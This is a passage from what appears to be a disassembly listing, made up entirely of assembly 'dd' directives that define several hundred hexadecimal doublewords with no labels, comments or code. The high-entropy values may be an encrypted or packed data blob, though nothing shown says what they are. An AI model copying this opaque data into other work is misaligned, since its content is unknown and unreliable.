		dd 242FA0F3h, 0CCFFCE62h, 0A57A9007h, 0D0E98BEBh, 6B904ED0h
		dd 0AC350304h, 95E02C1Fh, 9639163Eh, 915DAA3Bh,	0BD765000h
		dd 4A71E961h, 0DCCBB435h, 0C1DF9C64h, 583F92BAh, 74A2E570h
		dd 13D9787Dh, 0EA3147E9h, 1FF0CE88h, 49386451h,	0A2A01C9Bh
		dd 5F475444h, 1603F1B2h, 0E9A81B12h, 49EDD5FBh,	7A401E89h
		dd 810EC680h, 0C912B551h, 6F302EDh, 4AF9C4DCh, 520B8864h
		dd 0F503EC12h, 2D39E6EFh, 0D8B53289h, 0AD2B708h, 0E168AC0Ah
		dd 0B3609D4Fh, 6F380F7h, 0F6E386FDh, 0F58208D4h, 0F52D7E7Eh
		dd 0E969D636h, 0AA12555Eh, 7DE64A5Dh, 5FA70465h, 198AA5A3h
		dd 9EEF5D07h, 6B8FA479h, 26CCD8A7h, 0CEDDF7h, 7F2809A0h
		dd 0FECEFD29h, 4CBA153Ah, 73507055h, 14CDADAh, 65C8589h
		dd 0A9F13BE5h, 688E302Ah, 0E6976BD6h, 21F12F52h, 0DC0289C6h
		dd 0C146E251h, 27AC50EAh, 2AFC6598h, 79D5F770h,	80E53F4Dh
		dd 0C065D18h, 8920788Ah, 69EB0925h, 168963CFh, 609B8807h
		dd 0D6F7E6D1h, 0BBD0A97h, 26CC361Eh, 4FE91A21h,	0BE71827Dh
		dd 4BDB72DDh, 90C018D5h, 8980EF56h, 0F091A3E1h,	149380Dh
		dd 0ABE7814Fh, 607A4637h, 0FA038433h, 23E9B7FFh, 0B9340268h
		dd 742B2FF7h, 3053705Fh, 0F24640D8h, 64676B27h,	9C909E0Ch
		dd 0BE43E96Eh, 61FD255Dh, 50EA3926h, 0F2F580E4h, 6D3612A9h
		dd 0BE63C563h, 2D14B28Bh, 0F5105D47h, 0A3BD4F33h, 8850B107h
		dd 58E520D4h, 8302B05Ah, 0F7E9E828h, 5B93E6BCh,	2550B8B3h
		dd 2DF3FB96h, 0EB4F7A5Eh, 2DE1F47Eh, 0E07B777Ch, 0EB382054h
		dd 736846Fh, 8B295B07h,	60F22AF4h, 800F468Fh, 320098BAh
		dd 0E6BD281Dh, 0B536682Bh, 66161676h, 0E25A53FCh, 7B86B139h
		dd 9F49D205h, 0F680675Ch, 8E12239Eh, 2DF55889h,	0F87C182Fh
		dd 2A68246Fh, 4A00A012h, 0BB79771Dh, 8688B644h,	0EC5BBBFCh
		dd 0BBB92DFh, 0D3820C3Dh, 6601221Eh, 0C9DBB368h, 0F93E6AADh
		dd 7568F0D2h, 0D298970Bh, 2BE1174Dh, 0A2923EBDh, 5289409h
		dd 716013ECh, 110FA7C0h, 2653F092h, 812FA2E9h, 0D85F3DB9h
		dd 2089E84Bh, 0BB54F19Dh, 0F9B71FA2h, 2868C2FEh, 505318D7h
		dd 350F60E9h, 7B0A5ABFh, 2DA4369h, 0D56C2514h, 0D17810D8h
		dd 26B23F5Bh, 53801B3Ch, 7DFD2DBDh, 295C280Dh, 270741F3h
		dd 85F03EA8h, 73FA581Bh, 0B27C54BDh, 30BB015Eh,	0C11FDB7Fh
		dd 0CCF221EBh, 412F1238h, 0DD7A0B8Fh, 60552AEAh, 5B5353Eh
		dd 29C7BA14h, 26B8C2h, 52FC69C9h, 3067925h, 0E52D2A80h
		dd 0D909509h, 0D00F4AE1h, 94E8D14Bh, 2B8913E3h,	0A6404EFh
		dd 0EBE105Eh, 0AF7C7008h, 74098447h, 7FAAC9BEh,	6B260F84h
		dd 7147176h, 0B7252DA5h, 0BE06A47Ch, 547F2D8h, 0E92FA80Bh
		dd 7A56FA12h, 91F25500h, 90651805h, 223E25D6h, 3AEA4BFCh
		dd 5C5B1909h, 6D94BB7Bh, 0EBD2DD38h, 0B4054C16h, 0FA99CC0Bh
		dd 0D29B35E4h, 7F308ABBh, 2F25BE59h, 0AD1D4B2Dh, 0BD7A27E9h
		dd 0E3403129h, 2981E6C3h, 3F6C053Bh, 440E33Ch, 65704EE0h
		dd 5A03C480h, 0D2234E87h, 0F858D092h, 66CE682Fh, 4E4EF022h
		dd 10F9B35Ch, 44CBBF57h, 445F0FB2h, 0F8E04A43h,	0F69F4BE5h
		dd 0B10C804Eh, 0D10EF6CCh, 17E0F180h, 0AA202EACh, 3A0014BCh
		dd 0EE813676h, 0E90DC2B0h
		dd 87C4F89Eh, 58596560h, 946B6768h, 2805AABh, 768E71A6h
		dd 4BD33507h, 1F05EEh, 0D7A9F72h, 5EF3E4C9h, 1973A079h
		dd 78114B41h, 9647FE01h, 32F183Dh, 13E38053h, 0D3F6CBE0h
		dd 12CBC3FAh, 0A7738722h, 5217C5F0h, 7E297EB6h,	0C3AEE4C6h
		dd 0DEF66B06h, 0EFCBCEC1h, 0F583C5B3h, 0C78BCA26h, 0FC50B382h
		dd 0F841DF43h, 0B1452042h, 13AB15D6h, 2AC1B385h, 5F5EB9F8h
		dd 0DBE241FAh, 7E56D3DCh, 8B3F7CF1h, 19320055h,	0D4E97A66h
		dd 5979ABEh, 0CD215BD9h, 3482A459h, 5D97FEE4h, 0EBB4EB1Eh
		dd 635B52h, 273633E1h, 584D99E9h, 0FE5928D3h, 0EA7178C9h
		dd 277A5C45h, 76E94C76h, 0F19C0C11h, 720BBB84h,	5444F611h
		dd 7DDB6903h, 13133594h, 0CF84A1E9h, 292F92A2h,	61272CF8h
		dd 0A73059BAh, 0CEF1390Bh, 4DFB4150h, 59D002FEh, 0FD7CE983h
		dd 26C9224Eh, 0B7E71360h, 0FA5CCE8Bh, 264F66C0h, 4014560h
		dd 2075C208h, 97B78F50h, 0EA502736h, 65BCE02Dh,	0B76D0868h
		dd 0F6C5B21Fh, 0D5EA53DAh, 76B70B9Eh, 5DF41A5Fh, 7920239Ch
		dd 87595EB4h, 0E84594BDh, 0E68091Dh, 5336997Bh,	145295E4h
		dd 8D5B73BCh, 0C727EB00h, 8CA8115h, 0C923563Fh,	2A4B0169h
		dd 0D3310D46h, 0E9857D2Dh, 4A0BA87Bh, 53977DFEh, 0E2C18334h
		dd 14713051h, 4412571Dh, 7C19B9C0h, 28E93DB8h, 9ECCE555h
		dd 42E24AFh, 82876E54h,	0EE00E69Bh, 5CE369DDh, 84046E7Ch
		dd 0EA1A8317h, 84169FCh, 4643CE01h, 0B422EC14h,	5E10B3AFh
		dd 2A3539FEh, 9C215D8h,	6EE01D18h, 8A04276h, 39DBE915h
		dd 241010B6h, 325EBEC0h, 292C2FC7h, 9943D8F7h, 0C2E84FE7h
		dd 0C45F5001h, 5740BDBAh, 644BEF3Bh, 3F2E8BAFh,	2C10B0E9h
		dd 0DE02E3C1h, 2F90DF07h, 55526651h, 0FE012916h, 0F6E586C5h
		dd 92D330D4h, 0DD32D8ECh, 37588951h, 645D8D21h,	0DF4A601Eh
		dd 4ABB19BEh, 0EC091FEEh, 0F929C340h, 82FAC8F1h, 52CCB828h
		dd 21576166h, 0CC3E7F75h, 94B85794h, 0D527B425h, 30E242BBh
		dd 5B15FEF4h, 78D6DF70h, 927129BFh, 75FF553Bh, 0D80442B7h
		dd 82E1C33Fh, 796CDDh, 0F6913C4Fh, 1096905h, 0E8012CB2h
		dd 2A39D268h, 6F0C730h,	8B444A37h, 38D2596h, 0F4206856h
		dd 381010F3h, 0F803B86h, 1B5166E6h, 0B7CEDBE2h,	9BC71A4h
		dd 1F7BAD24h, 0F17452E4h, 81C31002h, 711208E6h,	0B80169D2h
		dd 36280175h, 0C097903h, 0E1C0E976h, 0EC6E5D77h, 0A591B594h
		dd 17DD1A10h, 0C205906Ah, 302561D4h, 0A5288AB7h, 0A459FA00h
		dd 0F5B5E96Ah, 0BF2D5493h, 0CCCE8259h, 0FB78304h, 80BE28D5h
		dd 827FC739h, 9D6835CFh, 99B7E613h, 0F94B0C5Bh,	0E40CC139h
		dd 0C106D66h, 0EC587D21h, 0A91B4BE9h, 0C4B77B04h, 0C413A0D6h
		dd 0C23DC026h, 79A0C31Eh, 0E3173D90h, 0A2006416h, 5C51B8E7h
		dd 0BA9906Ch, 6EBC611Ch, 4CE9AE60h, 0F320754Bh,	9BD5556h
		dd 11FA250Eh, 5B54A5Fh,	0C12EB8Eh, 57DAF4BBh, 55AD898h
		dd 0DC000D99h, 5EE21511h, 0E714FE3Eh, 7398507Fh, 0DED12934h
		dd 0BB100812h, 2F0F5817h, 2CD4C791h, 0FE65054Eh, 0EA68C0CEh
		dd 815E39E9h, 56C1D4B3h, 6D2D88E9h, 0B3FFA4E4h,	1CFCD761h
		dd 362316B0h, 0CFD5158h, 62D2F7D6h, 0FDBFF5C0h,	0FDDF411Dh
		dd 1156634h, 7ED829A5h,	1C1C3082h, 4BB379BFh, 0D1530374h
		dd 0A86AE1F6h, 2D104845h, 0C16A93A6h, 10899553h, 71D70158h
		dd 1A59A5C9h, 12D97B69h, 9B0E028h, 0FD5BDD2Dh, 8D251E02h
		dd 0D3238109h, 103AC63Bh, 841F99Ah, 2730FA75h, 0FEEC240Eh
		dd 0E0F38D79h, 0DFBC3F0Ch, 0FBB836B1h, 0A6E7ABFCh, 0EFC58385h
		dd 0AF4F379Ah, 27E90438h, 0E2FC8AF5h, 8B0F0865h, 7795AE25h
		dd 99615BCh, 0A2F7B05Eh, 5E88A940h, 3D605295h, 581BD5Fh
		dd 2506AC6Bh, 0A0C6DA2Dh, 240DCEAAh, 3A4786Bh, 18916348h
		dd 74D10C07h, 0C93398h,	0EF275CF6h, 0E145FE9h, 8083B5C7h
		dd 0AD1BFCDh, 4BD82D2Ah, 0A864D3EBh, 0BE12D7F8h, 0B35EE605h
		dd 2DAB315Dh, 0D877EECDh, 0E8E0A59h, 278E4DBCh,	2981AB76h
		dd 0AC48E9EBh, 5666283h, 0C4A734CBh, 0EBD384F0h, 7AE2C6CDh
		dd 577F487h, 7168553Ch,	0C4B7A851h, 0EB56671Ch,	85AFF125h
		dd 5F9E2CFFh, 0BB65D9Dh, 0A84E65BFh, 229D2790h,	2ED0F60h
		dd 0E905E6B4h, 48E3E26Ch, 10E44B18h, 5326685Bh,	77E9A13Eh
		dd 265FC2E4h, 977BAAB0h, 635D8607h, 3E16DFA1h, 671C60BDh
		dd 6CE58181h, 0A06B9E05h, 13F5C62h, 3FE90992h, 50017427h
		dd 0B82298Dh, 5D42D5B7h, 7C7C4375h, 28F1055Bh, 0E1452E25h
		dd 0D00B29BDh, 0ABF95EE6h, 14FD5CA2h, 0C05F96A6h, 986775EDh
		dd 0FD01541Ah, 41080B28h, 0E70794C8h, 9B428BFEh, 9FBC3941h
		dd 0B52D317h, 59C52AE2h, 0BE6C8253h, 7C59D509h,	0C13F4AAFh
		dd 0C100E545h, 35B003E2h, 0C46C2C05h, 0A0AB4A1Fh, 84905BFh
		dd 5FF81652h, 22ED2DE1h, 0AEA2166Ah, 8BD4E177h,	955AD2A0h
		dd 68287972h, 38C4A7F2h, 0D51225DBh, 0CA92EEDCh, 0F745CA5Eh
		dd 2FE9D848h, 0B9F3E54Eh, 0C131E25Ah, 210C07A9h, 9A16F469h
		dd 0EE322503h, 0E98297B7h, 0FBC8780Bh, 0A09CDBDh, 8D5F505Ah
		dd 8EADB835h, 8B494C79h, 78657D8Fh, 7EA5F22Ch, 7C01F0A4h
		dd 5A07549Fh, 354A40DFh, 40950B3Eh, 0D44231E9h,	2F3FC210h
		dd 0B50224B9h, 0D71DEC02h, 8821850h, 30FF02F5h,	4E9B5E74h
		dd 9075A816h, 0A7D33B4Bh, 0BB0E002Eh, 4BAF466Dh, 677B6134h
		dd 52347A56h, 688239BCh, 747C6C7Fh, 7CDDDF43h, 0C5E47E4Ah
		dd 0C832053Fh, 36411F9Dh, 0ED02BB62h, 75D638F9h, 0BA4A7640h
		dd 0D7428227h, 15316B40h, 0FD08189Dh, 0B9A94F3Ch, 0EE8103B1h
		dd 945657CDh, 0ED108984h, 8E91208h, 3E813356h, 8C6EF1E7h
		dd 1A41D2CDh, 0B38186F5h, 0E8839141h, 15DAD301h, 60D0BDEAh
		dd 62D340B7h, 0B64B8344h, 5A2CD9A9h, 0C35B4283h, 4F782DC3h
		dd 9C15DF9Dh, 41B07B12h, 0FB53C51h, 0FE2D1A3Dh,	51B79566h
		dd 6C9A005Bh, 300D21A7h, 59E6004h, 4AA0C4E9h, 254B3168h
		dd 0D5C655h, 784DB050h,	0BF33F408h, 0D9F72402h,	8DA60055h
		dd 1385B2CBh, 0EB59CA31h, 0B8C094B2h, 66C520EFh, 61FA314Bh
		dd 2E0B689Ah, 2D284BD0h, 30447B33h, 0B9D13CEFh,	5F257E1Ah
		dd 5CE5225h, 0FC3DE8F1h, 369FA82Dh, 6188E49h, 0CC4BC92Fh
		dd 61988C89h, 8F307541h, 1D39BDC8h, 0E9C2ECC3h,	1EDCAA2Ch
		dd 0C711A2C6h, 27C5DADEh, 0AD99B2E7h, 17683F68h, 9C921154h
		dd 0C3F8A99Fh, 0FCD3F3D8h, 14C33598h, 527C6A59h, 0C6EE5F05h
		dd 2BF1FFE6h, 854456FEh, 0FC3A7167h, 65ADD62Eh,	0AE23F617h
		dd 0E3FF0335h, 1A954A0Ah, 0D6605609h, 0ED4F9708h, 0B2C701F8h
		dd 3178A763h, 582FEC6Bh, 26F219CBh, 56E0F7BDh, 4A12F451h
		dd 303A21F4h, 1A3D7BF8h, 4710E179h, 7045F78h, 46C08651h
		dd 0A0D7F601h, 7A805906h, 0E5C010C5h, 6C07B04h,	68D5F62Ah
		dd 0CC354A3Ch, 0C3FE716Bh, 7F0683F5h, 0C802E3C0h, 27E936EBh
		dd 0F62042BCh, 34B06899h, 58CAE4C0h, 25E923C4h,	0FD442B75h
		dd 8C2A4F97h, 0CE5149DEh, 0A908DF09h, 406FFE46h, 0F1205685h
		dd 17E37C97h, 16C90ECEh, 468FAB16h, 0B9F54B5Ch,	0A22B138Ch
		dd 0A38087A2h, 816D310Bh, 0DA2F635h, 0D206F0ABh, 30833816h
		dd 292D12FCh, 68606E76h, 7FAA1CE5h, 0CD96B51Dh,	660A2C70h
		dd 0FBF22112h, 0F1F0303Bh, 4C7FFAEAh, 0D7167ABEh, 8C76AF5Ah
		dd 30C25B5Fh, 0E9DBB4ABh
		dd 17AE9626h, 592C2389h, 19F582C4h, 90D53421h, 2D3EA448h
		dd 67548423h, 25EDC808h, 0C38153F6h, 319C1E2Ch,	0F070EBE5h
		dd 122B3892h, 0FA4AE98Bh, 890CD6Eh, 932D2D98h, 4483F432h
		dd 0A9F88501h, 1ED0856Fh, 6E0AF720h, 0FC7F4EFCh, 8A17E25h
		dd 0A2FD2F5Eh, 79F55CA2h, 92E941A6h, 9A756DEAh,	65AE0258h
		dd 8388059Ah, 0EFA1C583h, 0E77F2066h, 0DFF67B12h, 5738EE09h
		dd 87823FCEh, 0A0088351h, 9668057Eh, 35B03743h,	514CECFAh
		dd 1A27BF9h, 0B164FCF4h, 0C32DFB49h, 0A7415F05h, 609CBE5Dh
		dd 0CBFA4E01h, 850F68C2h, 2D55B708h, 0CB7D6F6Ah, 0B90C4F16h
		dd 0B1455A25h, 39BA71B7h, 5888F8D8h, 0EA4A1095h, 185D1D2Fh
		dd 23E28136h, 203B4E55h, 12DD0229h, 7F822F46h, 0B304BD2Ah
		dd 0EF91AF60h, 5F02B859h, 0AF208761h, 0C4DE6E59h, 133FFC2Ah
		dd 0CAE8140Ah, 65B521AAh, 35A611h, 6850510Ah, 80A97B28h
		dd 307DFA29h, 0B7375B96h, 0D5204C47h, 6E9F5FA1h, 4BE961A0h
		dd 538D8550h, 0DB2EFBD5h, 0FB2FC241h, 0A45BF97Ch, 55512D24h
		dd 5524C6D1h, 0FB3DBB85h, 0EF5874ACh, 0EB448512h, 30BD0531h
		dd 7A285901h, 0CD48EFCBh, 0B652770Bh, 0D95D2770h, 320916D6h
		dd 0B893A2FDh, 0A410130Fh, 0D73731EEh, 0D37C69A0h, 1BF0EEEh
		dd 39009474h, 0E903DA79h, 6681DE22h, 0F677076Ah, 1F5E4FD3h
		dd 80EDD35Bh, 627F689Ah, 666036B6h, 55593478h, 897F8F57h
		dd 663B5189h, 0DD2902C3h, 475B5D69h, 153BD3F1h,	93D81B17h
		dd 0F70162FBh, 0CA7AE78Ch, 1EF7F164h, 0B0FBCCBFh, 33570F58h
		dd 85E70628h, 0A21DE8C0h, 0E77582FFh, 912B9D2h,	8CA85B1Bh
		dd 3E0F79D1h, 0D11761F2h, 0C7C82480h, 640CA313h, 0FE2C081Ch
		dd 0D004C05Bh, 17934C2h, 6658C708h, 0D22C0F68h,	612F5852h
		dd 0FD3CA133h, 0B0FFD485h, 241636E6h, 0DE1C64h,	996B7870h
		dd 2D5F06E9h, 0FF9679B8h, 60424022h, 3EB1B935h,	6416E606h
		dd 274FA29Eh, 39BFF92Dh, 0AAF9D334h, 0F521AD8Dh, 0B9E18ECh
		dd 0CA23E95Dh, 0F273A974h, 591C687Eh, 0B6DE60F7h, 2FA44011h
		dd 41460CC0h, 0B831964Eh, 0BC70B562h, 0EF1A84Ah, 0A23CFB2Bh
		dd 17214EE9h, 5D9FB33h,	68163E28h, 5A138CB8h, 1CBF2A1Fh
		dd 5CF5D24Ch, 11310ABBh, 11A9442Fh, 0FDC22764h,	4E004909h
		dd 23113435h, 0ABAC86D3h, 6A25F7B3h, 8C6079C7h,	0D7529C50h
		dd 0E121FE5Ah, 0BD0032D3h, 4C1671ADh, 2CFA0102h, 0BB0753D8h
		dd 42091BA6h, 4F5BDF20h, 82EF0181h, 0E917122Fh,	0EC133A0Fh
		dd 3CF135E4h, 6EBC6C7Ah, 591C4F81h, 3C0A4568h, 20D2C4EBh
		dd 6B055D00h, 79135064h, 80095451h, 2C8691Ch, 0AF4FDD7Ch
		dd 0F91A828Ah, 79F7D0D6h, 0F58769D1h, 0EA01F8BEh, 0F58A002h
		dd 66DAC2EDh, 0BCB87D4Ah, 29D74B16h, 598D7589h,	98E57A38h
		dd 5BA6042Eh, 664A28Fh,	0D9F7CD87h, 0EDC12E08h,	0DF8239EEh
		dd 9B4A347h, 0F7957CC4h, 0E159613Eh, 69502579h,	81ECCC31h
		dd 622196D8h, 9F767645h, 27D76F88h, 43F80FFh, 2EC928CBh
		dd 181FE21h, 821E29C6h,	0AFF77124h, 8EAE5E86h, 0CCB2EFE9h
		dd 0EA5C5004h, 5FEEA589h, 26A0CBE6h, 53500676h,	0E2681355h
		dd 4A0E34Bh, 69BA3108h,	0F30644EBh, 0DC660B74h,	8B021E65h
		dd 0C665D4A7h, 0BF32173Eh, 71DE8041h, 96E90815h, 264C5738h
		dd 0CF44619h, 2E78F1ACh, 8F205048h, 4889C889h, 0BBD7A3C2h
		dd 0BE12EB9Fh, 0EE214A1Ah, 0FC53D6CCh, 5ADB67BCh, 0BD687051h
		dd 414F0674h, 0F3C090A2h, 0E0D51C3h, 0F8EBC128h, 651887E6h
		dd 2C1E5C0Bh, 0ADD525FFh, 30F509E2h, 97847390h,	3739CFA0h
		dd 45BD02E5h, 54678034h, 0D2F71DFDh, 0A9CA8724h, 0A8F4C613h
		dd 91EB95EEh, 53030C7Fh, 0DBE965DEh, 3524757Dh,	32CED56Eh
		dd 0B2111199h, 26C1C224h, 3D005E6h, 4F963FBFh, 8122Ch
		dd 3BA00402h, 261D7C02h, 205C08F2h, 0FE136809h,	5B006B1Ah
		dd 11D53E1Fh, 442D5802h, 0D59AFAE0h, 8FE9A281h,	74AA2BBBh
		dd 0E0D6C8C7h, 0DA8F86Bh, 9130ECCFh, 14DE6084h,	0F268E2D1h
		dd 0D62F1148h, 0E90B15F9h, 3057F61Ah, 8309023Ah, 897D47F2h
		dd 5219DED6h, 96B879F5h, 3AF3B17Ch, 4F415E8h, 0BA4C2B37h
		dd 0E28566F3h, 5B234B8Dh, 86A14D5Dh, 0E0F3D6E9h, 28DDB102h
		dd 7F5966CBh, 0E914654Ch, 9E6F7917h, 4B84E555h,	41323A7Ch
		dd 0EF314475h, 43612BB1h, 0E4C6BC7Eh, 76D13C82h, 982BEBCDh
		dd 3B055200h, 4C4CA975h, 0AD6021DFh, 0FA6DAF1h,	0F8368402h
		dd 6AD2D706h, 0C67BFA00h, 1BE18148h, 37973753h,	7F890E0Ch
		dd 0E0C9AC00h, 2D177408h, 0DC53B0E9h, 51250DACh, 0E9099A5Bh
		dd 5ED558C0h, 4B25AD5Fh, 680C9CA6h, 95D56130h, 25660240h
		dd 0D3D9505Ah, 8857B584h, 4D7E81AAh, 8273ACFBh,	0FED95804h
		dd 39EBB800h, 250054C1h, 296D03B4h, 27C7C62Dh, 0ED82F28Eh
		dd 5DCA6FF3h, 62020A7Ch, 0D936E079h, 685E4194h,	82616AD2h
		dd 82047426h, 0F6EA9AFCh, 6C2702DDh, 0CD3103ECh, 0A59D74F1h
		dd 941C160Eh, 0ABBA470Dh, 9781CC7Fh, 8010661h, 52175E3Fh
		dd 0A7B0BBDFh, 0E3F69559h, 5A20D6A8h, 9A1B018h,	46384C16h
		dd 40B05E00h, 0E9166932h, 5E2C0910h, 37C03268h,	8FF83C69h
		dd 31BB9597h, 562A1BDh,	0B54D05EAh, 0E898BE72h,	715F8A21h
		dd 9FFAA2B3h, 0A15635D6h, 0CC3A132Dh, 80123B8Ch, 0B6FD79EBh
		dd 2C5A1475h, 6D20BFE6h, 505D6817h, 0CD8EB61h, 37849828h
		dd 0DEF81277h, 0D2043C0Eh, 0D9CA09B6h, 647BEF29h, 37102124h
		dd 8B13413Bh, 2E64AFF5h, 290E8F0h, 0C16B575Fh, 46D503E9h
		dd 0C09BA089h, 67273F7Fh, 29783412h, 1FED2BD9h,	84A3F397h
		dd 1313D1h, 29D52D4Bh, 1DF81108h, 88AF244Ah, 0BA05521Fh
		dd 48A07DD1h, 0F2F84FFBh, 92CBC801h, 6B93F5E9h,	6C44BD65h
		dd 0B2AFFBECh, 5189DFDFh, 204BFD08h, 0F28CDEC0h, 70098B2Ch
		dd 0B050A039h, 996876FEh, 3B25BFA9h, 6E59DFE1h,	410A282Ch
		dd 31362C26h, 38773BD5h, 0E22AE521h, 56FE499Dh,	72BA5B20h
		dd 55745950h, 89C5FE52h, 517FFE93h, 17BB600Eh, 762EDB3Ah
		dd 0EE030143h, 0B01D265Fh, 483E95CBh, 7217015Bh, 0D2E9BCAAh
		dd 5DC782BEh, 7A34B780h, 9690537Dh, 0DC3BD074h,	0A8CA0262h
		dd 0C0042F4Fh, 49E2C18Fh, 0E350AD08h, 0D12912AFh, 1760EA5Ah
		dd 0E159B168h, 0E4F1BC6Bh, 40E9F7FEh, 5B4FE9C9h, 0FF2AE8A1h
		dd 427E272Dh, 0C09AB466h, 0E4808181h, 39BDBF2h,	53EB90B7h
		dd 70BFE788h, 94E92FE3h, 0D4D31FC3h, 4FA21440h,	0C0528B95h
		dd 9E399656h, 0A336C272h, 0D195B3D5h, 0BC50D764h, 301517EFh
		dd 270C4708h, 55FF70Dh,	820E0FB0h, 852CFC07h, 7D37A8EEh
		dd 510B92FDh, 0F17D04EEh, 12ECA9F5h, 0E3AA82D8h, 0FA8982DDh
		dd 1B14C5Fh, 43F0BF57h,	88317154h, 1627A2E2h, 4651349h
		dd 814A2A94h, 8CB93CF1h, 6CD205DBh, 0CB6292D4h,	0B92807AEh
		dd 1F64AEAh, 183261CAh,	9CF0400Ch, 9092930h, 0EE5EE4E9h
		dd 0FE575E67h, 0B22B1E2Ch, 9F7BAA1h, 49EE609Ch,	781ADD8h
		dd 0AF96B5Eh, 88BEE909h, 520F98D3h, 0C2B7895Bh,	5358743Dh
		dd 7D7E31F1h, 3A9202ACh, 0E0814112h, 48F31DF8h,	7601680Bh
		dd 2942E75Ah, 995DD6D3h, 8E6B1C3Dh, 31EB023Ch, 40CDBDAAh
		dd 962F882h, 0DA294893h, 1D4BE400h, 2D052863h, 64340F3Ah
		dd 8BD40FAh, 628CF835h,	8E3A9863h, 142D028h, 2A6A2C2h
		dd 0F55B5808h, 0C632E74Eh
		dd 57C2E7B2h, 7F660F2Fh, 437616DAh, 5EE5BB54h, 50075E95h
		dd 5D9D02C1h, 599D2B9Eh, 0F02E1C87h, 956AC369h,	0D6BC1925h
		dd 96D52768h, 0DA9A1E70h, 65FF25FEh, 7C443C7Bh,	2124CF62h
		dd 87DC57F8h, 0C0963550h, 6F28C675h, 0F8F6144Bh, 7CAE315Eh
		dd 0BAA05C3Ah, 18277244h, 1E3740Bh, 65E9E8D1h, 5FF93A37h
		dd 0A19DCB9Eh, 29E2F35Ch, 8E9A40F0h, 2A6C067Bh,	933F47E9h
		dd 4F48EB06h, 0B0C0C79h, 0E4026296h, 71264E49h,	7DEE3AC5h
		dd 0ABAD60B7h, 2F783943h, 0F464E94h, 836216CFh,	178B2DF7h
		dd 0EE570D25h, 0EB2A9169h, 975C2538h, 75E932D9h, 0E8D5F7B2h
		dd 98E7D13Dh, 0AC3A4A45h, 0D53DC1D2h, 0B06A3C01h, 0EE614DABh
		dd 296859EAh, 0C6FCE83Ah, 4B1CFC61h, 0C7D8AF5Bh, 0B68F250h
		dd 739E6ECEh, 27BC960h,	3A3B8C2Ch, 46751202h, 57AE870Fh
		dd 0E9AF6E60h, 0BC195AAAh, 56129E2Ch, 30F75CE0h, 0D2C4BD3h
		dd 7660AD07h, 0EE44E550h, 0B5789FDAh, 639CF995h, 6AFB45A0h
		dd 3947E7F0h, 4F2AD31Ah, 0D1967FE8h, 1D1A2B09h,	0BA20D746h
		dd 72C687CCh, 54D9095Fh, 430A26Eh, 0CC90DE76h, 211B6080h
		dd 82394BE8h, 88BEEA1h,	88B74575h, 5E0C3625h, 0B1C7BF01h
		dd 0C90C3417h, 0CB820223h, 0F8D8C569h, 34305D60h, 712D0E67h
		dd 862A0B99h, 9BAB6CE9h, 9D654C5Dh, 1DFAEB40h, 931A0F2Eh
		dd 0E3FC280h, 26E928EEh, 81A903A3h, 1F45E5BAh, 11A47077h
		dd 0DAE8FD12h, 0E93CEEEDh, 0AE0B4F9Dh, 8C1940Eh, 689A325Eh
		dd 7DCC90C2h, 0B53E8720h, 16FEEF70h, 0C441C25Eh, 8C77BB6Eh
		dd 3BFAB16Fh, 9D106DB2h, 865A2C4Bh, 0BEE94025h,	0A0791E72h
		dd 0A77E8C77h, 4AB55D14h, 73CAFD1Dh, 8625737Fh,	0E54EE950h
		dd 84945C5Ch, 0F4AC7E45h, 0AEBED8C8h, 0EB40A197h, 5ED7396Dh
		dd 0EEA527h, 1B95E908h,	76B852C0h, 0BD058613h, 0CFEA4043h
		dd 148F6D0h, 0C0BF006Ch, 0D10C8028h, 9A91FEEFh,	53DBC42h
		dd 0B350BA68h, 3C521236h, 692CDEFEh, 419B7B08h,	0CE26685Ch
		dd 0E19577D1h, 0E0FC50CAh, 315B60C4h, 9D44E2BBh, 33F09CBDh
		dd 5CEA3096h, 3B01DFC8h, 0F81A5505h, 0F0C1FF77h, 7C713C60h
		dd 5B2EB226h, 0FBCB01DDh, 9C4EE143h, 5F4C6B0Ch,	12D9D223h
		dd 28395Bh, 0A3D5F3E5h,	97CB249h, 0A92ADF9Dh, 125C92FDh
		dd 0EAA3BE9Eh, 4F3FE90Bh, 0F386DC7Ch, 7E0A2054h, 151160CBh
		dd 10E94FA5h, 78EF4853h, 69C1D14Bh, 9760D328h, 270FB393h
		dd 537CC001h, 0C7F620B4h, 0AB95E976h, 3724FFD4h, 4FAEF7FAh
		dd 0F21775ABh, 881CC4EEh, 4EACA2FEh, 458F528h, 84BE565Dh
		dd 46A4C03Fh, 629D1BE9h, 58C2FC09h, 5C81CC88h, 84C6E66Fh
		dd 0EA40F6D1h, 32D2715Bh, 0C51849Dh, 1E5A5FE0h,	4A575E59h
		dd 316E57Ah, 74820A68h,	78530C04h, 76054C4Bh, 0FF7E853Dh
		dd 6808DC50h, 7728140Ch, 28132083h, 34870DE9h, 0F3EA53B5h
		dd 0DF7674E6h, 0FDFD5FFCh, 880E554Ah, 635B9AFAh, 51588461h
		dd 80AAFE20h, 0E1E5BB8h, 8A926540h, 413282A1h, 0AA39FB4Ah
		dd 0E900206Ah, 0AB9A349Ch, 5EB958BFh, 0EB95E44Bh, 0BB387C13h
		dd 5614504h, 0BE4399FFh, 0F3AE978Dh, 3997A4ACh,	0F42D50CFh
		dd 6F383E30h, 2D05CBE9h, 0C01AD488h, 0AB2F84AFh, 4BBAB5F4h
		dd 0BECAFB11h, 52208B58h, 41B0B598h, 14144C2Dh,	0A1E059AEh
		dd 8CE87B45h, 0EF9CBCE8h, 242E8969h, 20CAA9A6h,	57ABC780h
		dd 0F24C4695h, 0E660496h, 0B012E94Ch, 56255B4Ch, 41FFF354h
		dd 25CA46E9h, 5E23FD5h,	0AA677634h, 0BDF88D84h,	73DE145Ah
		dd 48412E1h, 0F5785BEh,	9A85AD2Eh, 0F2BC8052h, 893E7140h
		dd 0DBEFA5E9h, 41C6A825h, 0F062087h, 0EEB82EE1h, 0E80ED84h
		dd 3CE3A281h, 29B94017h, 0BBEEB589h, 4E5B6639h,	78F7ABF0h
		dd 0F6219064h, 85E9175Dh, 6F21AB18h, 1051667h, 321D388h
		dd 0F0CAD961h, 3B001565h, 777B6857h, 4AE97FF7h,	178CE242h
		dd 33CB3D85h, 24100B10h, 68E6ED5Ch, 12C8E83Dh, 0C37B7930h
		dd 1F801A9Dh, 0E9124D0Dh, 809C8BA2h, 4A870B1h, 0B45059CBh
		dd 7CC5EED4h, 7084E0EFh, 5A14B5BEh, 96609F9h, 54D8035h
		dd 753A4A4Ch, 2EDFFE54h, 101A9B91h, 0C7800917h,	0BF5B550Dh
		dd 3DB4BECCh, 96AD80E0h, 174B8DD2h, 0CFD70BEFh,	0A85E8C09h
		dd 778B541Dh, 4C137D4Eh, 14DDB0F2h, 0CC01F7CCh,	0C15E0243h
